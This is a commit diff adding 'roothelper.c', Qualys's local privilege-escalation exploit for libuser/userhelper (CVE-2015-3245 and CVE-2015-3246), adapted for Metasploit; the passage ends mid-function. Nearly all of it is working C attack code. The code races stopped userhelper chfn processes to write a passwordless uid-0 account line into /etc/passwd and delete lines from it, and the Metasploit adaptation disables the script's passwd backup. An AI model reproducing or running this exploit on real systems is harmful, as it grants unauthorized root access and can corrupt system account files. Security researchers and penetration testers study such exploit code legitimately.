Add Libuser roothelper Privilege Escalation exploit
Brendan Coles
parent
c5c02512d6
commit
00583caadf
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@ -0,0 +1,976 @@
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/*
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* roothelper.c - an unusual local root exploit against:
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* CVE-2015-3245 userhelper chfn() newline filtering
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* CVE-2015-3246 libuser passwd file handling
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* Copyright (C) 2015 Qualys, Inc.
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*
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* gecos_* types and functions inspired by userhelper.c
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* Copyright (C) 1997-2003, 2007, 2008 Red Hat, Inc.
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*
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* UH_* #defines and comments inspired by userhelper.h
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* Copyright (C) 1997-2001, 2007 Red Hat, Inc.
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*
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* This program is free software: you can redistribute it and/or modify
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* it under the terms of the GNU General Public License as published by
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* the Free Software Foundation, either version 3 of the License, or
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* (at your option) any later version.
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*
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* This program is distributed in the hope that it will be useful,
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* but WITHOUT ANY WARRANTY; without even the implied warranty of
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* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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* GNU General Public License for more details.
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*
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* You should have received a copy of the GNU General Public License
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* along with this program. If not, see <http://www.gnu.org/licenses/>.
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*/
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// Modified for Metasploit (see comments marked 'msf note')
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#define _GNU_SOURCE
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#include <ctype.h>
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#include <errno.h>
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#include <fcntl.h>
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#include <inttypes.h>
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#include <limits.h>
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#include <pwd.h>
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#include <sched.h>
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#include <signal.h>
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#include <stdarg.h>
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#include <stdbool.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <sys/inotify.h>
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#include <sys/resource.h>
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#include <sys/socket.h>
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#include <sys/stat.h>
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#include <sys/time.h>
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#include <sys/types.h>
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#include <sys/wait.h>
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#include <unistd.h>
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/* A maximum GECOS field length. There's no hard limit, so we guess. */
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#define GECOS_LENGTH 127
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typedef char gecos_field[GECOS_LENGTH];
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/* A structure to hold broken-out GECOS data. The number and names of the
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* fields are dictated entirely by the flavor of finger we use. Seriously. */
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struct gecos_data {
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gecos_field full_name; /* full user name */
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gecos_field office; /* office */
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gecos_field office_phone; /* office phone */
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gecos_field home_phone; /* home phone */
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gecos_field site_info; /* other stuff */
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};
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static struct userhelper {
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struct gecos_data gecos;
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rlim_t fsizelim;
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pid_t pid;
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int fd;
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} userhelpers[GECOS_LENGTH];
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static void
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die_in_parent(const char *const file, const unsigned int line,
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const char *const function)
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{
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fprintf(stderr, "died in parent: %s:%u: %s\n", file, line, function);
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fflush(stderr);
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unsigned int i;
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for (i = 0; i < GECOS_LENGTH; i++) {
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const pid_t pid = userhelpers[i].pid;
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if (pid <= 0) continue;
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kill(pid, SIGKILL);
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}
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_exit(EXIT_FAILURE);
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}
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static void
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die_in_child(const char *const file, const unsigned int line,
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const char *const function)
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{
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fprintf(stderr, "died in child: %s:%u: %s\n", file, line, function);
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exit(EXIT_FAILURE);
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}
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static void (*die_fn)(const char *, unsigned int, const char *) = die_in_parent;
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#define die() die_fn(__FILE__, __LINE__, __func__)
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static void *
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xmalloc(const size_t size)
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{
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if (size <= 0) die();
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if (size >= INT_MAX) die();
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void *const ptr = malloc(size);
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if (ptr == NULL) die();
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return ptr;
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}
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static void *
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xrealloc(void *const old, const size_t size)
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{
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if (size <= 0) die();
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if (size >= INT_MAX) die();
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void *const new = realloc(old, size);
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if (new == NULL) die();
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return new;
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}
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static char *
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xstrndup(const char *const old, const size_t len)
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{
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if (old == NULL) die();
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if (len >= INT_MAX) die();
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char *const new = strndup(old, len);
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if (new == NULL) die();
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if (len != strlen(new)) die();
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return new;
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}
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static int
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xsnprintf(char *const str, const size_t size, const char *const format, ...)
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{
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if (str == NULL) die();
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if (size <= 0) die();
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if (size >= INT_MAX) die();
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if (format == NULL) die();
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va_list ap;
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va_start(ap, format);
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const int len = vsnprintf(str, size, format, ap);
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va_end(ap);
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if (len < 0) die();
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if ((unsigned int)len >= size) die();
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if ((unsigned int)len != strlen(str)) die();
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return len;
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}
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static int
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xopen(const char *const pathname, const int flags)
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{
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if (pathname == NULL) die();
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if (*pathname != '/') die();
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if (flags != O_RDONLY) die();
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const int fd = open(pathname, flags);
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if (fd <= -1) die();
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static const struct flock rdlock = {
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.l_type = F_RDLCK,
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.l_whence = SEEK_SET,
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.l_start = 0,
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.l_len = 0
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};
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if (fcntl(fd, F_SETLK, &rdlock) != 0) die();
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return fd;
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}
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static void
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xclose(const int fd)
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{
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if (fd <= -1) die();
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static const struct flock unlock = {
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.l_type = F_UNLCK,
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.l_whence = SEEK_SET,
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.l_start = 0,
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.l_len = 0
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};
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if (fcntl(fd, F_SETLK, &unlock) != 0) die();
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if (close(fd) != 0) die();
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}
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#define GECOS_BADCHARS ":,=\n"
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/* A simple function to compute the size of a gecos string containing the
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* data we have. */
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static size_t
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gecos_size(const struct gecos_data *const parsed)
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{
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if (parsed == NULL) die();
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size_t len = 4; /* commas! */
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len += strlen(parsed->full_name);
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len += strlen(parsed->office);
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len += strlen(parsed->office_phone);
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len += strlen(parsed->home_phone);
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len += strlen(parsed->site_info);
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len++;
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return len;
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}
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/* Parse the passed-in GECOS string and set PARSED to its broken-down contents.
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Note that the parsing is performed using the convention obeyed by BSDish
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finger(1) under Linux. */
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static void
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gecos_parse(const char *const gecos, struct gecos_data *const parsed)
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{
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if (gecos == NULL) die();
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if (strlen(gecos) >= INT_MAX) die();
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if (parsed == NULL) die();
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memset(parsed, 0, sizeof(*parsed));
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unsigned int i;
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const char *field = gecos;
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for (i = 0; ; i++) {
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const char *field_end = strchrnul(field, ',');
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gecos_field *dest = NULL;
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switch (i) {
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case 0:
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dest = &parsed->full_name;
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break;
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case 1:
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dest = &parsed->office;
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break;
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case 2:
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dest = &parsed->office_phone;
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break;
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case 3:
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dest = &parsed->home_phone;
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break;
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case 4:
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// msf note: changed `rawmemchar` to `memchr` for cross-compile
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//field_end = rawmemchr(field_end, '\0');
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field_end = memchr(field_end, '\0', 16);
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dest = &parsed->site_info;
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break;
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default:
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die();
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}
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const size_t field_len = field_end - field;
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xsnprintf(*dest, sizeof(*dest), "%.*s", (int)field_len, field);
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if (strlen(*dest) != field_len) die();
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if (strpbrk(*dest, GECOS_BADCHARS) != NULL && i != 4) die();
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if (*field_end == '\0') break;
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field = field_end + 1;
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}
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if (gecos_size(parsed) > GECOS_LENGTH) die();
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}
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/* Assemble a new gecos string. */
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static const char *
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gecos_assemble(const struct gecos_data *const parsed)
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{
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static char ret[GECOS_LENGTH];
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size_t i;
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if (parsed == NULL) die();
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/* Construct the basic version of the string. */
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xsnprintf(ret, sizeof(ret), "%s,%s,%s,%s,%s",
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parsed->full_name,
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parsed->office,
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parsed->office_phone,
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parsed->home_phone,
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parsed->site_info);
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/* Strip off terminal commas. */
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i = strlen(ret);
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while ((i > 0) && (ret[i - 1] == ',')) {
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ret[i - 1] = '\0';
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i--;
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}
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return ret;
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}
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/* Descriptors used to communicate between userhelper and consolhelper. */
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#define UH_INFILENO 3
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#define UH_OUTFILENO 4
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/* Userhelper request format:
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request code as a single character,
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request data size as UH_REQUEST_SIZE_DIGITS decimal digits
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request data
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'\n' */
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#define UH_REQUEST_SIZE_DIGITS 8
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/* Synchronization point code. */
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#define UH_SYNC_POINT 32
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/* Valid userhelper request codes. */
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#define UH_ECHO_ON_PROMPT 34
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#define UH_ECHO_OFF_PROMPT 35
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#define UH_EXPECT_RESP 39
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#define UH_SERVICE_NAME 40
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#define UH_USER 42
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/* Consolehelper response format:
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response code as a single character,
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response data
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'\n' */
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/* Consolehelper response codes. */
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#define UH_TEXT 33
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/* Valid userhelper error codes. */
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#define ERR_UNK_ERROR 255 /* unknown error */
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/* Paths, flag names, and other stuff. */
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#define UH_PATH "/usr/sbin/userhelper"
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#define UH_FULLNAME_OPT "-f"
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#define UH_OFFICE_OPT "-o"
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#define UH_OFFICEPHONE_OPT "-p"
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#define UH_HOMEPHONE_OPT "-h"
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static char
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read_request(const int fd, char *const data, const size_t size)
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{
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if (fd <= -1) die();
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if (data == NULL) die();
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if (size >= INT_MAX) die();
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char header[1 + UH_REQUEST_SIZE_DIGITS + 1];
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if (read(fd, header, sizeof(header)-1) != sizeof(header)-1) die();
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header[sizeof(header)-1] = '\0';
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errno = 0;
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char *endptr = NULL;
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const unsigned long len = strtoul(&header[1], &endptr, 10);
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if (errno != 0 || endptr != &header[sizeof(header)-1]) die();
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if (len >= size) die();
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if (read(fd, data, len+1) != (ssize_t)(len+1)) die();
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if (data[len] != '\n') die();
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data[len] = '\0';
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if (strlen(data) != len) die();
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if (strchr(data, '\n') != NULL) die();
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return header[0];
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}
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static void
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send_reply(const int fd, const unsigned char type, const char *const data)
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{
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if (fd <= -1) die();
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if (!isascii(type)) die();
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if (!isprint(type)) die();
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if (data == NULL) die();
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if (strpbrk(data, "\r\n") != NULL) die();
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char buf[BUFSIZ];
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const int len = xsnprintf(buf, sizeof(buf), "%c%s\n", (int)type, data);
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if (send(fd, buf, len, MSG_NOSIGNAL) != len) die();
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}
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#define ETCDIR "/etc"
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#define PASSWD "/etc/passwd"
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#define BACKUP "/etc/passwd-"
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static struct {
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char username[64];
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char password[64];
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struct gecos_data gecos;
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} my;
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static volatile sig_atomic_t is_child_dead;
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static void
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sigchild_handler(const int signum __attribute__ ((__unused__)))
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{
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is_child_dead = true;
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}
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static int
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wait_for_userhelper(struct userhelper *const uh, const int options)
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{
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if (uh == NULL) die();
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if (uh->pid <= 0) die();
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if ((options & ~(WUNTRACED | WCONTINUED)) != 0) die();
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int status;
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for (;;) {
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const pid_t pid = waitpid(uh->pid, &status, options);
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if (pid == uh->pid) break;
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if (pid > 0) _exit(255);
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if (pid != -1) die();
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if (errno != EINTR) die();
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}
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if (WIFEXITED(status) || WIFSIGNALED(status)) uh->pid = -1;
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return status;
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}
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static void
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forkstop_userhelper(struct userhelper *const uh)
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{
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if (uh == NULL) die();
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if (uh->pid != 0) die();
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if (gecos_size(&uh->gecos) > GECOS_LENGTH) die();
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struct rlimit fsize;
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if (getrlimit(RLIMIT_FSIZE, &fsize) != 0) die();
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if (uh->fsizelim > fsize.rlim_max) die();
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if (uh->fsizelim <= 0) die();
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fsize.rlim_cur = uh->fsizelim;
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cpu_set_t old_cpus;
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CPU_ZERO(&old_cpus);
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if (sched_getaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die();
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{ const int cpu = sched_getcpu();
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if (cpu >= CPU_SETSIZE) die();
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if (cpu < 0) die();
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cpu_set_t new_cpus;
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CPU_ZERO(&new_cpus);
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CPU_SET(cpu, &new_cpus);
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if (sched_setaffinity(0, sizeof(new_cpus), &new_cpus) != 0) die(); }
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int sv[2];
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if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) != 0) die();
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if (is_child_dead) die();
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static const struct sigaction sigchild_action = {
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.sa_handler = sigchild_handler, .sa_flags = SA_NOCLDSTOP };
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if (sigaction(SIGCHLD, &sigchild_action, NULL) != 0) die();
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uh->pid = fork();
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if (uh->pid <= -1) die();
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if (uh->pid == 0) {
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die_fn = die_in_child;
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if (close(sv[1]) != 0) die();
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if (dup2(sv[0], UH_INFILENO) != UH_INFILENO) die();
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if (dup2(sv[0], UH_OUTFILENO) != UH_OUTFILENO) die();
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const int devnull_fd = open("/dev/null", O_RDWR);
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if (dup2(devnull_fd, STDIN_FILENO) != STDIN_FILENO) die();
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if (dup2(devnull_fd, STDOUT_FILENO) != STDOUT_FILENO) die();
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if (dup2(devnull_fd, STDERR_FILENO) != STDERR_FILENO) die();
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if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die();
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if (signal(SIGXFSZ, SIG_IGN) == SIG_ERR) die();
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if (setrlimit(RLIMIT_FSIZE, &fsize) != 0) die();
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if (setpriority(PRIO_PROCESS, 0, +19) != 0) die();
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static const struct sched_param sched_param = { .sched_priority = 0 };
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(void) sched_setscheduler(0, SCHED_IDLE, &sched_param);
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char *const argv[] = { UH_PATH,
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UH_FULLNAME_OPT, uh->gecos.full_name,
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UH_OFFICE_OPT, uh->gecos.office,
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UH_OFFICEPHONE_OPT, uh->gecos.office_phone,
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UH_HOMEPHONE_OPT, uh->gecos.home_phone,
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NULL };
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char *const envp[] = { NULL };
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execve(UH_PATH, argv, envp);
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die();
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}
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if (die_fn != die_in_parent) die();
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if (close(sv[0]) != 0) die();
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uh->fd = sv[1];
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unsigned long expected_responses = 0;
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for (;;) {
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char data[BUFSIZ];
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const char type = read_request(uh->fd, data, sizeof(data));
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if (type == UH_SYNC_POINT) break;
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switch (type) {
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case UH_USER:
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if (strcmp(data, my.username) != 0) die();
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break;
|
||||
case UH_SERVICE_NAME:
|
||||
if (strcmp(data, "chfn") != 0) die();
|
||||
break;
|
||||
case UH_ECHO_ON_PROMPT:
|
||||
case UH_ECHO_OFF_PROMPT:
|
||||
if (++expected_responses == 0) die();
|
||||
break;
|
||||
case UH_EXPECT_RESP:
|
||||
if (strtoul(data, NULL, 10) != expected_responses) die();
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (expected_responses != 1) die();
|
||||
|
||||
const int lpasswd_fd = xopen(PASSWD, O_RDONLY);
|
||||
const int inotify_fd = inotify_init();
|
||||
if (inotify_fd <= -1) die();
|
||||
if (inotify_add_watch(inotify_fd, PASSWD, IN_CLOSE_NOWRITE |
|
||||
IN_OPEN) <= -1) die();
|
||||
if (inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE) <= -1) {
|
||||
if (errno != ENOENT) die();
|
||||
if (inotify_add_watch(inotify_fd, ETCDIR, IN_CREATE) <= -1) die();
|
||||
}
|
||||
|
||||
send_reply(uh->fd, UH_TEXT, my.password);
|
||||
send_reply(uh->fd, UH_SYNC_POINT, "");
|
||||
if (close(uh->fd) != 0) die();
|
||||
uh->fd = -1;
|
||||
|
||||
unsigned int state = 0;
|
||||
static const uint32_t transition[] = { IN_CLOSE_WRITE,
|
||||
IN_CLOSE_NOWRITE, IN_OPEN, 0 };
|
||||
for (;;) {
|
||||
if (is_child_dead) die();
|
||||
char buffer[10 * (sizeof(struct inotify_event) + NAME_MAX + 1)];
|
||||
const ssize_t _buflen = read(inotify_fd, buffer, sizeof(buffer));
|
||||
if (is_child_dead) die();
|
||||
|
||||
if (_buflen <= 0) die();
|
||||
size_t buflen = _buflen;
|
||||
if (buflen > sizeof(buffer)) die();
|
||||
|
||||
struct inotify_event *ep;
|
||||
for (ep = (struct inotify_event *)(buffer); buflen >= sizeof(*ep);
|
||||
ep = (struct inotify_event *)(ep->name + ep->len)) {
|
||||
buflen -= sizeof(*ep);
|
||||
|
||||
if (ep->len > 0) {
|
||||
if (buflen < ep->len) die();
|
||||
buflen -= ep->len;
|
||||
if ((ep->mask & IN_CREATE) == 0) die();
|
||||
(void) inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE);
|
||||
continue;
|
||||
}
|
||||
if (ep->len != 0) die();
|
||||
while ((ep->mask & transition[state]) != 0) {
|
||||
ep->mask &= ~transition[state++];
|
||||
if (transition[state] == 0) goto stop_userhelper;
|
||||
}
|
||||
}
|
||||
if (buflen != 0) die();
|
||||
}
|
||||
stop_userhelper:
|
||||
if (kill(uh->pid, SIGSTOP) != 0) die();
|
||||
if (close(inotify_fd) != 0) die();
|
||||
|
||||
const int status = wait_for_userhelper(uh, WUNTRACED);
|
||||
if (!WIFSTOPPED(status)) die();
|
||||
if (WSTOPSIG(status) != SIGSTOP) die();
|
||||
|
||||
xclose(lpasswd_fd);
|
||||
if (signal(SIGCHLD, SIG_DFL) == SIG_ERR) die();
|
||||
if (sched_setaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die();
|
||||
}
|
||||
|
||||
static void
|
||||
continue_userhelper(struct userhelper *const uh)
|
||||
{
|
||||
if (uh == NULL) die();
|
||||
if (uh->fd != -1) die();
|
||||
if (uh->pid <= 0) die();
|
||||
|
||||
if (kill(uh->pid, SIGCONT) != 0) die();
|
||||
|
||||
{ const int status = wait_for_userhelper(uh, WCONTINUED);
|
||||
if (!WIFCONTINUED(status)) die(); }
|
||||
|
||||
{ const int status = wait_for_userhelper(uh, 0);
|
||||
if (!WIFEXITED(status)) die();
|
||||
if (WEXITSTATUS(status) !=
|
||||
((uh->fsizelim == RLIM_INFINITY) ? 0 : ERR_UNK_ERROR)) die(); }
|
||||
|
||||
memset(uh, 0, sizeof(*uh));
|
||||
}
|
||||
|
||||
static void
|
||||
create_backup_of_passwd_file(void)
|
||||
{
|
||||
char backup[] = "/tmp/passwd-XXXXXX";
|
||||
const mode_t prev_umask = umask(077);
|
||||
const int ofd = mkstemp(backup);
|
||||
(void) umask(prev_umask);
|
||||
if (ofd <= -1) die();
|
||||
|
||||
printf("Creating a backup copy of \"%s\" named \"%s\"\n", PASSWD, backup);
|
||||
const int ifd = xopen(PASSWD, O_RDONLY);
|
||||
for (;;) {
|
||||
char buf[BUFSIZ];
|
||||
const ssize_t len = read(ifd, buf, sizeof(buf));
|
||||
if (len == 0) break;
|
||||
if (len <= 0) die();
|
||||
if (write(ofd, buf, len) != len) die();
|
||||
}
|
||||
xclose(ifd);
|
||||
if (close(ofd) != 0) die();
|
||||
}
|
||||
|
||||
static void
|
||||
delete_lines_from_passwd_file(void)
|
||||
{
|
||||
struct gecos_data gecos;
|
||||
memset(&gecos, 0, sizeof(gecos));
|
||||
xsnprintf(gecos.site_info, sizeof(gecos.site_info),
|
||||
"%s", my.gecos.site_info);
|
||||
const ssize_t fullname_max = GECOS_LENGTH - gecos_size(&gecos);
|
||||
if (fullname_max >= GECOS_LENGTH) die();
|
||||
if (fullname_max <= 0) die();
|
||||
|
||||
char fragment[64];
|
||||
xsnprintf(fragment, sizeof(fragment), "\n%s:", my.username);
|
||||
|
||||
char *contents = NULL;
|
||||
for (;;) {
|
||||
struct stat st;
|
||||
const int fd = xopen(PASSWD, O_RDONLY);
|
||||
if (fstat(fd, &st) != 0) die();
|
||||
if (st.st_size >= INT_MAX) die();
|
||||
if (st.st_size <= 0) die();
|
||||
|
||||
contents = xrealloc(contents, st.st_size + 1);
|
||||
if (read(fd, contents, st.st_size) != st.st_size) die();
|
||||
contents[st.st_size] = '\0';
|
||||
xclose(fd);
|
||||
|
||||
const char *cp = strstr(contents, fragment);
|
||||
if (cp == NULL) die();
|
||||
cp = strchr(cp + 2, '\n');
|
||||
if (cp == NULL) die();
|
||||
if (cp[1] == '\0') break;
|
||||
|
||||
char *const tp = contents + st.st_size-1;
|
||||
*tp = '\0';
|
||||
if (tp <= cp) die();
|
||||
if (tp - cp > fullname_max) cp = tp - fullname_max;
|
||||
cp = strpbrk(cp, "\n:, ");
|
||||
if (cp == NULL) die();
|
||||
|
||||
const ssize_t fullname_len = tp - cp;
|
||||
if (fullname_len >= GECOS_LENGTH) die();
|
||||
if (fullname_len <= 0) die();
|
||||
|
||||
printf("Deleting %zd bytes from \"%s\"\n", fullname_len, PASSWD);
|
||||
|
||||
struct userhelper *const uh = &userhelpers[0];
|
||||
memset(uh->gecos.full_name, 'A', fullname_len);
|
||||
uh->fsizelim = st.st_size;
|
||||
forkstop_userhelper(uh);
|
||||
continue_userhelper(uh);
|
||||
|
||||
uh->fsizelim = RLIM_INFINITY;
|
||||
forkstop_userhelper(uh);
|
||||
continue_userhelper(uh);
|
||||
}
|
||||
free(contents);
|
||||
}
|
||||
|
||||
static size_t passwd_fsize;
|
||||
static int generate_userhelpers(const char *);
|
||||
#define IS_USER_LAST "last user in passwd file?"
|
||||
|
||||
static char candidate_users[256];
|
||||
static char superuser_elect;
|
||||
|
||||
int
|
||||
main(void)
|
||||
{
|
||||
// msf note: don't backup /etc/passwd to /tmp
|
||||
//create_backup_of_passwd_file();
|
||||
|
||||
{ char candidate[] = "a";
|
||||
for (; candidate[0] <= 'z'; candidate[0]++) {
|
||||
if (getpwnam(candidate) != NULL) continue;
|
||||
strcat(candidate_users, candidate);
|
||||
} }
|
||||
if (candidate_users[0] == '\0') die();
|
||||
|
||||
const struct passwd *const pwd = getpwuid(getuid());
|
||||
if ((pwd == NULL) || (pwd->pw_name == NULL)) die();
|
||||
xsnprintf(my.username, sizeof(my.username), "%s", pwd->pw_name);
|
||||
gecos_parse(pwd->pw_gecos, &my.gecos);
|
||||
|
||||
if (fputs("Please enter your password:\n", stdout) == EOF) die();
|
||||
if (fgets(my.password, sizeof(my.password), stdin) == NULL) die();
|
||||
char *const newline = strchr(my.password, '\n');
|
||||
if (newline == NULL) die();
|
||||
*newline = '\0';
|
||||
|
||||
{ struct userhelper *const uh = &userhelpers[0];
|
||||
uh->fsizelim = RLIM_INFINITY;
|
||||
forkstop_userhelper(uh);
|
||||
continue_userhelper(uh); }
|
||||
|
||||
retry:
|
||||
if (generate_userhelpers(IS_USER_LAST)) {
|
||||
struct userhelper *const uh1 = &userhelpers[1];
|
||||
strcpy(uh1->gecos.full_name, "\n");
|
||||
uh1->fsizelim = passwd_fsize + 1;
|
||||
|
||||
struct userhelper *const uh0 = &userhelpers[0];
|
||||
uh0->fsizelim = passwd_fsize;
|
||||
|
||||
forkstop_userhelper(uh1), forkstop_userhelper(uh0);
|
||||
continue_userhelper(uh1), continue_userhelper(uh0);
|
||||
if (generate_userhelpers(IS_USER_LAST)) die();
|
||||
}
|
||||
|
||||
static const char a[] = "?::0:0::/:";
|
||||
printf("Attempting to add \"%s\" to \"%s\"\n", a, PASSWD);
|
||||
|
||||
const int n = generate_userhelpers(a);
|
||||
if (n == -1) {
|
||||
static int retries;
|
||||
if (retries++) die();
|
||||
memset(userhelpers, 0, sizeof(userhelpers));
|
||||
delete_lines_from_passwd_file();
|
||||
goto retry;
|
||||
}
|
||||
if (n <= 0) die();
|
||||
if (n >= GECOS_LENGTH) die();
|
||||
if (superuser_elect == '\0') die();
|
||||
|
||||
int i;
|
||||
for (i = n; --i >= 0; ) {
|
||||
printf("Starting and stopping userhelper #%d\n", i);
|
||||
forkstop_userhelper(&userhelpers[i]);
|
||||
}
|
||||
for (i = n; --i >= 0; ) {
|
||||
printf("Continuing stopped userhelper #%d\n", i);
|
||||
continue_userhelper(&userhelpers[i]);
|
||||
}
|
||||
printf("Exploit successful, run \"su %c\" to become root\n",
|
||||
(int)superuser_elect);
|
||||
|
||||
{ struct userhelper *const uh = &userhelpers[0];
|
||||
uh->fsizelim = RLIM_INFINITY;
|
||||
uh->gecos = my.gecos;
|
||||
forkstop_userhelper(uh);
|
||||
continue_userhelper(uh); }
|
||||
|
||||
exit(EXIT_SUCCESS);
|
||||
}
|
||||
|
||||
static void
|
||||
generate_fullname(char *const fullname, const ssize_t fullname_len,
|
||||
const char c)
|
||||
{
|
||||
if (fullname == NULL) die();
|
||||
if (fullname_len < 0) die();
|
||||
if (fullname_len >= GECOS_LENGTH) die();
|
||||
|
||||
memset(fullname, 'A', fullname_len);
|
||||
|
||||
if (fullname_len > 0 && strchr(GECOS_BADCHARS, c) == NULL) {
|
||||
if (!isascii((unsigned char)c)) die();
|
||||
if (!isgraph((unsigned char)c)) die();
|
||||
fullname[fullname_len-1] = c;
|
||||
}
|
||||
}
|
||||
|
||||
static size_t siteinfo_len;
|
||||
static size_t fullname_off;
|
||||
|
||||
static size_t before_fullname_len;
|
||||
static char * before_fullname;
|
||||
|
||||
static size_t after_fullname_len;
|
||||
static char * after_fullname;
|
||||
|
||||
static int
|
||||
generate_userhelper(const char *const a, const int i, char *const contents)
|
||||
{
|
||||
if (i < 0) {
|
||||
if (i != -1) die();
|
||||
return 0;
|
||||
}
|
||||
if (a == NULL) die();
|
||||
if ((unsigned int)i >= strlen(a)) die();
|
||||
if (contents == NULL) die();
|
||||
|
||||
const char _c = a[i];
|
||||
const bool is_user_wildcard = (_c == '?');
|
||||
const char c = (is_user_wildcard ? candidate_users[0] : _c);
|
||||
if (c == '\0') die();
|
||||
|
||||
const size_t target = passwd_fsize-1 + i;
|
||||
const rlim_t fsizelim = (a[i+1] == '\0') ? RLIM_INFINITY : target+1;
|
||||
if (fsizelim < passwd_fsize) die();
|
||||
|
||||
const size_t contents_len = strlen(contents);
|
||||
if (contents_len < passwd_fsize) die();
|
||||
if (contents_len <= fullname_off) die();
|
||||
|
||||
char *const fullname = contents + fullname_off;
|
||||
if (memcmp(fullname - before_fullname_len,
|
||||
before_fullname, before_fullname_len) != 0) die();
|
||||
|
||||
const char *rest = strchr(fullname, '\n');
|
||||
if (rest == NULL) die();
|
||||
rest++;
|
||||
|
||||
const ssize_t fullname_len = (rest - fullname) - after_fullname_len;
|
||||
if (fullname_len >= GECOS_LENGTH) die();
|
||||
if (fullname_len < 0) die();
|
||||
|
||||
if (rest[-1] != '\n') die();
|
||||
generate_fullname(fullname, fullname_len, c);
|
||||
memcpy(fullname + fullname_len, after_fullname, after_fullname_len);
|
||||
if (rest[-1] != '\n') die();
|
||||
|
||||
if (memcmp(rest - after_fullname_len,
|
||||
after_fullname, after_fullname_len) != 0) die();
|
||||
|
||||
size_t offset;
|
||||
for (offset = fullname_off; offset < contents_len; offset++) {
|
||||
|
||||
const char x = contents[offset];
|
||||
if (x == '\0') die();
|
||||
if (is_user_wildcard) {
|
||||
if (strchr(candidate_users, x) == NULL) continue;
|
||||
superuser_elect = x;
|
||||
} else {
|
||||
if (x != c) continue;
|
||||
}
|
||||
|
||||
const ssize_t new_fullname_len = fullname_len + (target - offset);
|
||||
if (new_fullname_len < 0) continue; /* gecos_size() > GECOS_LENGTH */
|
||||
if (4 + new_fullname_len + siteinfo_len + 1 > GECOS_LENGTH) continue;
|
||||
|
||||
if (offset < fullname_off + fullname_len) {
|
||||
if (offset != fullname_off + fullname_len-1) die();
|
||||
if (new_fullname_len == 0) continue;
|
||||
}
|
||||
if (offset >= contents_len-1) {
|
||||
if (offset != contents_len-1) die();
|
||||
if (fsizelim != RLIM_INFINITY) continue;
|
||||
}
|
||||
|
||||
{ char *const new_contents = xmalloc(contents_len+1 + GECOS_LENGTH);
|
||||
|
||||
memcpy(new_contents, contents, fullname_off);
|
||||
generate_fullname(new_contents + fullname_off, new_fullname_len, c);
|
||||
memcpy(new_contents + fullname_off + new_fullname_len,
|
||||
contents + fullname_off + fullname_len,
|
||||
contents_len+1 - (fullname_off + fullname_len));
|
||||
|
||||
if (strlen(new_contents) != contents_len +
|
||||
(new_fullname_len - fullname_len)) die();
|
||||
|
||||
if (fsizelim != RLIM_INFINITY) {
|
||||
if (fsizelim >= strlen(new_contents)) die();
|
||||
if (fsizelim >= contents_len) die();
|
||||
memcpy(new_contents + fsizelim,
|
||||
contents + fsizelim,
|
||||
contents_len+1 - fsizelim);
|
||||
}
|
||||
|
||||
const int err = generate_userhelper(a, i-1, new_contents);
|
||||
free(new_contents);
|
||||
if (err < 0) continue; }
|
||||
|
||||
if (i >= GECOS_LENGTH) die();
|
||||
struct userhelper *const uh = &userhelpers[i];
|
||||
memset(uh, 0, sizeof(*uh));
|
||||
|
||||
uh->fsizelim = fsizelim;
|
||||
if (new_fullname_len >= GECOS_LENGTH) die();
|
||||
generate_fullname(uh->gecos.full_name, new_fullname_len, c);
|
||||
return 0;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
static int
|
||||
generate_userhelpers(const char *const _a)
|
||||
{
|
||||
char a[GECOS_LENGTH];
|
||||
if (_a == NULL) die();
|
||||
const int n = xsnprintf(a, sizeof(a), "\n%s\n", _a);
|
||||
if (n >= GECOS_LENGTH) die();
|
||||
if (n <= 0) die();
|
||||
|
||||
const int fd = xopen(PASSWD, O_RDONLY);
|
||||
struct stat st;
|
||||
if (fstat(fd, &st) != 0) die();
|
||||
if (st.st_size >= 10*1024*1024) die();
|
||||
if (st.st_size <= 0) die();
|
||||
passwd_fsize = st.st_size;
|
||||
|
||||
char *const contents = xmalloc(passwd_fsize + 1);
|
||||
if (read(fd, contents, passwd_fsize) != (ssize_t)passwd_fsize) die();
|
||||
xclose(fd);
|
||||
contents[passwd_fsize] = '\0';
|
||||
if (strlen(contents) != passwd_fsize) die();
|
||||
if (contents[passwd_fsize-1] != '\n') die();
|
||||
|
||||
char fragment[64];
|
||||
xsnprintf(fragment, sizeof(fragment), "\n%s:", my.username);
|
||||
const char *line = strstr(contents, fragment);
|
||||
if (line == NULL) die();
|
||||
line++;
|
||||
|
||||
const char *rest = strchr(line, '\n');
|
||||
if (rest == NULL) die();
|
||||
if (rest <= line) die();
|
||||
rest++;
|
||||
|
||||
if (strcmp(_a, IS_USER_LAST) == 0) {
|
||||
const bool is_user_last = (*rest == '\0');
|
||||
free(contents);
|
||||
return is_user_last;
|
||||
}
|
||||
|
||||
unsigned int i;
|
||||
const char *field = line;
|
||||
|
||||
for (i = 0; i <= 5; i++) {
|
||||
const char *const field_end = strchr(field, ':');
|
||||
if (field_end == NULL) die();
|
||||
if (field_end >= rest) die();
|
||||
const size_t field_len = field_end - field;
|
||||
|
||||
switch (i) {
|
||||
case 0:
|
||||
if (field_len != strlen(my.username)) die();
|
||||
if (memcmp(field, my.username, field_len) != 0) die();
|
||||
break;
|
||||
case 1:
|
||||
if (*field != 'x') die();
|
||||
break;
|
||||
case 2:
|
||||
if (strtoimax(field, NULL, 10) != getuid()) die();
|
||||
break;
|
||||
case 3:
|
||||
if (strtoimax(field, NULL, 10) != getgid()) die();
|
||||
break;
|
||||
case 4:
|
||||
{
|
||||
char assembled[GECOS_LENGTH];
|
||||
xsnprintf(assembled, sizeof(assembled),
|
||||
"%.*s", (int)field_len, field);
|
||||
if (strlen(assembled) != field_len) die();
|
||||
|
||||
struct gecos_data gecos;
|
||||
memset(&gecos, 0, sizeof(gecos));
|
||||
xsnprintf(gecos.site_info, sizeof(gecos.site_info),
|
||||
"%s", my.gecos.site_info);
|
||||
if (strcmp(assembled, gecos_assemble(&gecos)) != 0) die();
|
||||
}
|
||||
|
||||
siteinfo_len = strlen(my.gecos.site_info);
|
||||
fullname_off = field - contents;
|
||||
|
||||
before_fullname_len = field - line;
|
||||
before_fullname = xstrndup(line, before_fullname_len);
|
||||
|
||||
